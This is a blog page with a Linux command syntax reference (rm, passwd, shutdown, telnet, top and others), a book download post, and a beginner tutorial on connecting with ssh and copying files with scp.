will show you the full path to the directory you are currently in. This is very handy to use, especially when performing some of the other commands on this page.
Syntax
pwd [OPTION]
For more options and how to use check pwd man page

passwd - change user password
Syntax
passwd [-f|-s] [name]
passwd [-g] [-r|R] group
passwd [-x max] [-n min] [-w warn] [-i inact] name
passwd {-l|-u|-d|-S|-e} name
For more options and how to use check passwd man page

reboot - Reboots the system (requires root privileges).
Syntax
/sbin/halt [-n] [-w] [-d] [-f] [-i] [-p] [-h] /sbin/reboot [-n] [-w] [-d] [-f] [-i] /sbin/poweroff [-n] [-w] [-d] [-f] [-i] [-h]
For more options and how to use check reboot man page

rmdir - remove empty directories
Syntax
rmdir [OPTION]… DIRECTORY…
For more options and how to use check rmdir man page

rm - remove files or directories
Syntax
rm [OPTION]… FILE…
Option
rm -r - Removes directories and files within the directories recursively.
For more options and how to use check rm man page

renice - alter priority of running processes
Syntax
renice priority [[-p ] pid … ] [[-g ] pgrp … ] [[-u ] user … ]
For more options and how to use check renice man page
shutdown - bring the system down
Syntax
/sbin/shutdown [-t sec] [-arkhncfF] time [warning-message]
For more options and how to use check shutdown man page

sleep - delay for a specified amount of time
Syntax
sleep NUMBER[SUFFIX]…
sleep OPTION
For more options and how to use check sleep man page

sort - sort lines of text files
Syntax
sort [OPTION]… [FILE]…
For more options and how to use check sort man page
split - split a file into pieces
Syntax
split [OPTION] [INPUT [PREFIX]]
For more options and how to use check split man page

slocate - Security Enhanced version of the GNU Locate.
Syntax
slocate [-qi] [-d] [--database= ]
slocate [-i] [-r ] [--regexp=]
slocate [-qv] [-o ] [--output=] slocate [-e ] [-f ] <[-l ] [-c] <[-U ] [-u]>
slocate [-Vh] [--version] [--help]
For more options and how to use check slocate man page

sync - synchronize data on disk with memory

Syntax
sync [--help] [--version]

For more options and how to use check sync man page
su - run a shell with substitute user and group IDs
Syntax
su [OPTION]… [-] [USER [ARG]…]
For more options and how to use check su man page

telnet - user interface to the TELNET protocol
Syntax
telnet [-8] [-E] [-F] [-K] [-L] [-S tos] [-X authtype] [-a] [-c] [-d] [-e escapechar] [-f] [-k realm] [-l user] [-n tracefile] [-r] [-x] [host [port]]
For more options and how to use check telnet man page

top - display top CPU processes
Syntax
top [-] [d delay] [p pid] [q] [c] [C] [S] [s] [i] [n iter] [b]
For more options and how to use check top man page
talk - talk to another user
Syntax
talk person [ttyname]
For more options and how to use check talk man page

tree - list contents of directories in a tree-like format.
Syntax
tree [-adfgilnopqrstuxACDFNS] [-L level [-R]] [-H baseHREF] [-T title] [-o filename] [--nolinks] [-P pattern] [-I pattern] [--inodes] [--device] [--noreport] [--dirsfirst] [--version] [--help] [directory ...]
For more options and how to use check tree man page

tr - translate or delete characters
Syntax
tr [OPTION]… SET1 [SET2]
For more options and how to use check tr man page

time - time a simple command or give resource usage
Syntax
time [options] command [arguments...]
For more options and how to use check time man page

tty - print the file name of the terminal connected to standard input
Syntax
tty [OPTION]…
For more options and how to use check tty man page

touch - change file timestamps
Syntax
touch [OPTION]… FILE…
For more options and how to use check touch man page

tail - output the last part of files
Syntax
tail [OPTION]… [FILE]…
For more options and how to use check tail man page

traceroute - print route packets take to network host
Syntax
traceroute [-adnruvAMOQ] [-w wait_time] [-S start_ttl] [-m max_ttl] [-p port] [-q nqueries] [-g gateway] [-t tos] [-s src_addr] [-g router] host [packet size]
For more options and how to use check traceroute man page

uptime - Tell how long the system has been running.
Syntax
uptime
uptime [-V]
For more options and how to use check uptime man page

umount - unmount file systems
Syntax
umount [-hV]
umount -a [-dflnrv] [-t vfstype] [-O options]
umount [-dflnrv] dir | device [...]
For more options and how to use check umount man page

umask - get or set the file mode creation mask
Syntax
umask [-S][mask]
For more options and how to use check umask man page

ulimit - Control the resources available to a process started by the shell, on systems that allow such control.
Syntax
ulimit [-acdfHlmnpsStuv] [limit]
For more options and how to use check ulimit man page

uname - print system options
Syntax
uname [OPTION]…
For more options and how to use check uname man page

uniq - report or omit repeated lines
Syntax
uniq [OPTION]… [INPUT [OUTPUT]]
For more options and how to use check uniq man page

vdir - list directory contents
Syntax
vdir [OPTION]… [FILE]…
For more options and how to use check vdir man page

w - Show who is logged on and what they are doing.
Syntax
w - [husfV] [user]
For more options and how to use check w man page

wall - send a message to everybody’s terminal.
Syntax
wall [-n] [ message ]
For more options and how to use check wall man page

who - show who is logged on
Syntax
who [OPTION]… [ FILE | ARG1 ARG2 ]
For more options and how to use check who man page


Syntax
whoami [OPTION]…
For more options and how to use check whoami man page

watch - execute a program periodically, showing output fullscreen
Syntax
watch [-dhv] [-n ] [--differences[=cumulative]] [--help] [--interval=] [--version]
For more options and how to use check watch man page

whereis - locate the binary, source, and manual page files for a command
Syntax
whereis [ -bmsu ] [ -BMS directory... -f ] filename …
For more options and how to use check whereis man page

wc - print the number of newlines, words, and bytes in files
Syntax
wc [OPTION]… [FILE]…
For more options and how to use check wc man page

xload - system load average display for X
Syntax
xload [-toolkitoption ...] [-scale integer] [-update seconds] [-hl color] [-highlight color] [-remote host] [-jumpscroll pixels] [-label string] [-nolabel] [-lights]
For more options and how to use check xload man page

Monday, April 29, 2013

Linux Complete Command


                                        Download Linux Complete Command Reference by J Purcell
                                                                        size: 8.24 MB





Overview:
Part I User Commands 2
Part II System Calls 738
Part III Library Functions 892
Part IV Special Files 1064
Part V File Formats 1104
Part VI Games 1210
Part VII Miscellaneous 1214
Part VIII Administration and Privileged Commands 1258
Part IX Kernel Reference Guide 1424

DOWNLOAD FULL BOOK

SSH AND SCP: HOW TO, TIPS & TRICKS




This tutorial is about SSH and SCP. You will learn how to connect to a remote host and how to copy between hosts. This tutorial also documents a few important differences between the commands.
Difficulty: Basic
Before we start: in this tutorial, you will come across both SSH and ssh. The difference is this: SSH is the general protocol, and ssh is the linux SSH client command.
SSH
SSH is some kind of an abbreviation of Secure SHell. It is a protocol that allows secure connections between computers. In this tutorial, we'll be dealing with the ssh command on Linux, the OpenSSH version. Most Linux distributions feature the OpenSSH client today, but if you want to be sure, have a look at the SSH manpage on your system. You can do this by typing:

---------------------
[rechosen@localhost ~]$ man ssh
--------------------

Note: this should be done in a terminal. This tutorial assumes that you have some basic terminal knowledge, like knowing how to start a terminal session on your system and being familiar with the basic commands and syntaxes.
If it displays something like this
-------------------------
NAME
ssh - OpenSSH SSH client (remote login program)

------------------------
then you can be quite sure you're running the OpenSSH version. For more background information about SSH, see http://en.wikipedia.org/wiki/SSH..
The most simple case
In the most simple case, you can connect to a server that supports ssh with a syntax as short as this:
---------------------
[rechosen@localhost ~]$ ssh yourserver
---------------------

Note: If you do not have any ssh server nearby that you can access, you can also try this command with your own computer as a server. To do this, replace "yourserver" with "localhost".
Of course, yourserver should be replaced by a hostname or an ip address of the server you want to connect to. As you can see in the terminal snippet, I am logged in as rechosen. If you do not specify a username (I'll explain how to do that later in this tutorial), SSH will assume that you want to login with the username you're currently logged in with. So, in this case, SSH will try the username rechosen.
Of course, you need to be sure that the server supports ssh connections. The ssh client tries to connect to port 22 defaultly. This means that, if you want to connect to a remote host with the default settings, you should make sure that, if applicable, port 22 is forwarded to the server you're trying to connect to. You will find more regarding the SSH port further in this tutorial.
Now, back to the command we ran. If the server supports SSH connections and you can reach it by port 22, you should be prompted for a password (if this is the first time you try to connect to the server, ssh will first ask the question if you want to continue connecting, which can generally just be answered with a 'yes'). If you type a password here, you won't see asterisks appearing. Don't panic, this is ssh's normal behaviour. It makes connecting using ssh even more safe, because any accidental spectators won't be able to see the length of the password. After entering the password, if the username and the password were correct, you should be running a shell on the server. If not, make sure you are connecting to a server of which you know that you should be able to login with your username and the specified password. You could try connecting to your own computer (see the note beneath the terminal quote) or read on to learn how to specify an other username.
Once you're done trying the ssh shell, you can exit it by pressing Ctrl + D

It's actually quite simple to specify a different username. You might even already be familiar with it. See the following example:
-------------------------------------------------------
[rechosen@localhost ~]$ ssh yourusername@yourserver
--------------------------------------------------------

The above will make ssh try to connect with the username "yourusername" instead of (in my case) rechosen. This syntax is also used by a lot of other protocols, so it'll always come in handy to know it. By the way, you will still be asked for a password. For security reasons, it is not even possible to directly specify the password in the syntax. You will always be asked interactively, unless you start configuring the server in an advanced way (which is exactly why that topic is out of this tutorials scope: this tutorial documents how to use the clients, not how to configure the server).

Specifying a port
There are many reasons to move the ssh service to an other port. One of them is avoiding brute-force login attempts. Certain hackers try to get access to ssh servers by trying a lot of common usernames with common passwords (think of a user "john" with password "doe"). Although it is very unlikely that these hackers will ever get access to the system, there is an other aspect of the brute-force attacks that you'll generally want to avoid: the system and connection load. The brute-force attacks usually are done with dozens or even thousands of tries a second, and this unnecessarily slows down the server and takes some bandwidth which could've been used a lot better. By changing the port to a non-default one, the scripts of the hackers will just be refused and most of the bandwidth will be saved.
As the ssh command can't just guess the port, we will have to specify it if it's not the default 22 one. You can do that this way:
-----------------------------------------------------------------
[rechosen@localhost ~]$ ssh -p yourport yourusername@yourserver
-----------------------------------------------------------------

Of course, you will have to replace "yourport" with the port number. These is an important difference between ssh and scp on this point. I'll explain it further on.

Running a command on the remote server
Sometimes, especially in scripts, you'll want to connect to the remote server, run a single command and then exit again. The ssh command has a nice feature for this. You can just specify the command after the options, username and hostname. Have a look at this:
-----------------------------------------------------------------
[rechosen@localhost ~]$ ssh yourusername@yourserver updatedb
------------------------------------------------------------------

This will make the server update its searching database. Of course, this is a very simple command without arguments. What if you'd want to tell someone about the latest news you read on the web? You might think that the following will give him/her that message:
-----------------------------------------------------
[rechosen@localhost ~]$ ssh yourusername@yourserver wall "Hey, I just found out something great! Have a look at www.examplenewslink.com!"
------------------------------------------------------

However, bash will give an error if you run this command:
bash: !": event not found
What happened? Bash (the program behind your shell) tried to interpret the command you wanted to give ssh. This fails because there are exclamation marks in the command, which bash will interpret as special characters that should initiate a bash function. But we don't want this, we just want bash to give the command to ssh! Well, there's a very simple way to tell bash not to worry about the contents of the command but just pass it on to ssh already: wrapping it in single quotes. Have a look at this:
-------------------------------------------------
[rechosen@localhost ~]$ ssh yourusername@yourserver 'wall "Hey, I just found out something great! Have a look at www.examplenewslink.com!"'
-------------------------------------------------
The single quotes prevent bash from trying to interpret the command, so ssh receives it unmodified and can send it to the server as it should. Don't forget that the single quotes should be around the whole command, not anywhere else.

SCP
The scp command allows you to copy files over ssh connections. This is pretty useful if you want to transport files between computers, for example to backup something. The scp command uses the ssh command and they are very much alike. However, there are some important differences.
The scp command can be used in three* ways: to copy from a (remote) server to your computer, to copy from your computer to a (remote) server, and to copy from a (remote) server to another (remote) server. In the third case, the data is transferred directly between the servers; your own computer will only tell the servers what to do. These options are very useful for a lot of things that require files to be transferred, so let's have a look at the syntax of this command:
---------------------------------------------
[rechosen@localhost ~]$ scp examplefile 
yourusername@yourserver:/home/yourusername/
--------------------------------------------
Looks quite familiar, right? But there are differences. The command above will transfer the file "examplefile" to the directory "/home/yourusername/" at the server "yourserver", trying to get ssh acces with the username "yourusername". That's quite a lot information, but scp really needs it all. Well, almost all of it. You could leave out the "yourusername@" in front of "yourserver", but only if you want to login on the server with your current username on your own computer. Let's have a closer look at the end of the command. There's a colon over there, with a directory after it. Just like Linux's normal cp command, scp will need to know both the source file(s) and the target directory (or file). For remote hosts, the file(s)/directory are given to the scp command is this way.
You can also copy a file (or multiple files) from the (remote) server to your own computer. Let's have a look at an example of that:
------------------------------------------------
[rechosen@localhost ~]$ scp 
yourusername@yourserver:/home/yourusername/examplefile .
------------------------------------------------
Note: The dot at the end means the current local directory. This is a handy trick that can be used about everywhere in Linux. Besides a single dot, you can also type a double dot ( .. ), which is the parent directory of the current directory.
This will copy the file "/home/yourusername/examplefile" to the current directory on your own computer, provided that the username and password are correct and that the file actually exists.
You probably already guessed that the following command copies a file from a (remote) server to another (remote) server:
----------------------------------------------------
[rechosen@localhost ~]$ scp 
yourusername@yourserver:/home/yourusername/examplefile yourusername2@yourserver2:/home/yourusername2/
-------------------------------------------------------

Please note that, to make the above command work, the servers must be able to reach each other, as the data will be transferred directly between them. If the servers somehow can't reach each other (for example, if port 22 is not open on one of the sides) you won't be able to copy anything. In that case, copy the files to your own computer first, then to the other host. Or make the servers able to reach each other (for example by opening the port).
Well, those are the main uses of scp. We'll now go a bit more in-depth about the differences between ssh and scp.
*: Actually you can also use it just like the normal cp command, withhout any ssh connections in it, but that's quite useless. It requires you to type an extra 's' =).

The scp command acts a little different when it comes to ports. You'd expect that specifying a port should be done this way:
---------------------------------------------
[rechosen@localhost ~]$ scp -p 
yourport yourusername@yourserver:/home/yourusername/examplefile .
-----------------------------------------------

However, that will not work. You will get an error message like this one:
-----------------------------------------
cp: cannot stat `yourport': No such file or directory
-----------------------------------------
This is caused by the different architecture of scp. It aims to resemble cp, and cp also features the -p option. However, in cp terms it means 'preserve', and it causes the cp command to preserve things like ownership, permissions and creation dates. The scp command can also preserve things like that, and the -p option enables this feature. The port specification should be done with the -P option. Therefore, the following command will work:
-------------------------------------------------------
[rechosen@localhost ~]$ scp -P yourport 
yourusername@yourserver:/home/yourusername/examplefile .
-------------------------------------------------------

Also note that the -P option must be in front of the (remote) server. The ssh command will still work if you put -p yourport behind the host syntax, but scp won't. Why? Because scp also supports copying between two servers and therefore needs to know which server the -P option applies to.

Another difference between scp and ssh
Unlike ssh, scp cannot be used to run a command on a (remote) server, as it already uses that feature of ssh to start the scp server on the host. The scp command does have an option that accepts a program (the -S option), but this program will then be used instead of ssh to establish the encrypted connection, and it will not be executed on the remote host.

Tips & Tricks with ssh and scp
Quite a handy thing about scp is that it supports asterisks. You can copy all files in a remote directory in a way like this:
----------------------------------------------------------
[rechosen@localhost ~]$ scp yourusername@yourserver:/home/yourusername/* .
-----------------------------------------------------------
And you can also just copy a whole directory by specifying the -r (recursive) option:

---------------------------------------------------------------------------------
[rechosen@localhost ~]$ scp -r yourusername@yourserver:/home/yourusername/ .
-----------------------------------------------------------------------------------

Both of these also work when copying to a (remote) server or copying between a (remote) server and another (remote) server.
The ssh command can come in handy if you don't know the exact location of the file you want to copy with scp. First, ssh to the (remote) server:
----------------------------------------------
[rechosen@localhost ~]$ ssh yourusername@yourserver
-----------------------------------------------

Then browse to the right directory with cd. This is essential Linux terminal knowledge, so I won't explain it here. When you're in the right directory, you can get the full path with this command:
----------------------------
[rechosen@localhost ~]$ pwd
----------------------------

Note: pwd is an abbreviation of Print Working Directory, which is a useful way to remember the command.
You can then copy this output, leave the ssh shell by pressing Ctrl + D, and then paste the full directory path in your scp command. This saves a lot of remembering and typing!
You can also limit the bandwidth scp may use when copying. This is very useful if you're wanting to copy a huge amount of data without suffering from slow internet for a long time. Limiting bandwidth is done this way:
----------------------------------------------------
scp -l bandwidthlimit yourusername@yourserver:/home/yourusername/* .
-----------------------------------------------------

The bandwidth is specified in Kbit/sec. What does this mean? Eight bits is one byte. If you want to copy no faster than 10 Kbyte/sec, set the limit to 80. If you want to copy no faster than 80 Kbyte/sec, set the limit to 640. Get it? You should set the limit to eight times the maximum Kbyte/sec you want it to be. I'd recommend to set the -l option with all scp'ing you do on a connection that other people need to use, too. A big amount of copying can virtually block a whole 10 Mbit network if you're using hubs.

Final Words
Well, that was it! I hope you learned a lot. Of course, you can always have a quick look at this tutorial again if you forgot something. Please tell other people who might be interested about this tutorial, you'll help this blog to grow if you do. Thank you for reading and have a lot of fun with your new knowledge!!!